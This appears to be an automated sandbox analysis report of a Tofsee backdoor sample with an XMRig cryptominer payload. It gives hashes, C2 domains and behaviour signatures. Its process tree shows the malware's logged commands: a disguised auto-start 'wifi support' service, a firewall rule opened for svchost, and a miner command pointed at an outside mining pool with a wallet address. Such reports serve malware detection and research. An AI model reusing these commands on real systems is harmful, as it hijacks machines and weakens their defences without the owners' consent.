Analysis

  • max time kernel
    151s
  • max time network
    171s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 00:23

General

  • Target

    file.exe

  • Size

    251KB

  • MD5

    3289ff07ba3c5b4ea9614f862dae3bd8

  • SHA1

    30b15edf7ad3f7bc059f58436198d5619f06a53a

  • SHA256

    c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935

  • SHA512

    9e90abf93b6e7268a0c8993c864d9b106c00990f77c1d8011ea7325a0467332f508f04dc083c46880dea9a71a9a6fbf6c8bdcec83b310093eea0c455c66e5a82

  • SSDEEP

    3072:7RoP5wl8uJh5E7jjzFApPWASdKogJodIj+5JjAxSdhee3hUDxy/Ocat:toWlbhOTFApPmdKogJc5JMxUh7OQG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3020
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ivhyzdnd\
      2⤵
        PID:2960
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qcsftsko.exe" C:\Windows\SysWOW64\ivhyzdnd\
        2⤵
          PID:1888
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ivhyzdnd binPath= "C:\Windows\SysWOW64\ivhyzdnd\qcsftsko.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2424
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ivhyzdnd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2788
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ivhyzdnd
          2⤵
          • Launches sc.exe
          PID:2980
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2776
      • C:\Windows\SysWOW64\ivhyzdnd\qcsftsko.exe
        C:\Windows\SysWOW64\ivhyzdnd\qcsftsko.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2688
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2376
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:576

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\qcsftsko.exe

              Filesize

              14.6MB

              MD5

              eeaf4338012cce058153adffaa052613

              SHA1

              3993c7753b478de25573e9462411a1b036cdd6bb

              SHA256

              169d16d2ea7d546db77f291937b706789e0ce19f5bedd02d546b8a91dba4c309

              SHA512

              37f5c416b727115bbe1cf429c91bf0b798ff84645c47bf661edc68e8ea6e481e8f96f4ffe3721a3292580fd796fd1005d82c5560476ce967bc2831b8780ebbea

            • C:\Windows\SysWOW64\ivhyzdnd\qcsftsko.exe

              Filesize

              14.6MB

              MD5

              eeaf4338012cce058153adffaa052613

              SHA1

              3993c7753b478de25573e9462411a1b036cdd6bb

              SHA256

              169d16d2ea7d546db77f291937b706789e0ce19f5bedd02d546b8a91dba4c309

              SHA512

              37f5c416b727115bbe1cf429c91bf0b798ff84645c47bf661edc68e8ea6e481e8f96f4ffe3721a3292580fd796fd1005d82c5560476ce967bc2831b8780ebbea

            • memory/576-63-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/576-78-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/576-77-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/576-76-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/576-75-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/576-74-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/576-73-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/576-69-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/576-65-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/2376-50-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-42-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-20-0x0000000000110000-0x0000000000125000-memory.dmp

              Filesize

              84KB

            • memory/2376-21-0x0000000000110000-0x0000000000125000-memory.dmp

              Filesize

              84KB

            • memory/2376-23-0x0000000000110000-0x0000000000125000-memory.dmp

              Filesize

              84KB

            • memory/2376-24-0x0000000001830000-0x0000000001A3F000-memory.dmp

              Filesize

              2.1MB

            • memory/2376-27-0x0000000001830000-0x0000000001A3F000-memory.dmp

              Filesize

              2.1MB

            • memory/2376-28-0x00000000001C0000-0x00000000001C6000-memory.dmp

              Filesize

              24KB

            • memory/2376-31-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-34-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-35-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-36-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-37-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-38-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-39-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-40-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-44-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-45-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-43-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2376-41-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-46-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-48-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-47-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-49-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

            • memory/2376-11-0x0000000000110000-0x0000000000125000-memory.dmp

              Filesize

              84KB

            • memory/2376-51-0x0000000000220000-0x0000000000225000-memory.dmp

              Filesize

              20KB

            • memory/2376-54-0x0000000000220000-0x0000000000225000-memory.dmp

              Filesize

              20KB

            • memory/2376-55-0x0000000005830000-0x0000000005C3B000-memory.dmp

              Filesize

              4.0MB

            • memory/2376-58-0x0000000005830000-0x0000000005C3B000-memory.dmp

              Filesize

              4.0MB

            • memory/2376-59-0x0000000000570000-0x0000000000577000-memory.dmp

              Filesize

              28KB

            • memory/2376-14-0x0000000000110000-0x0000000000125000-memory.dmp

              Filesize

              84KB

            • memory/2688-16-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2688-18-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2688-10-0x0000000000840000-0x0000000000940000-memory.dmp

              Filesize

              1024KB

            • memory/3020-1-0x0000000000840000-0x0000000000940000-memory.dmp

              Filesize

              1024KB

            • memory/3020-8-0x00000000002A0000-0x00000000002B3000-memory.dmp

              Filesize

              76KB

            • memory/3020-7-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/3020-4-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/3020-2-0x00000000002A0000-0x00000000002B3000-memory.dmp

              Filesize

              76KB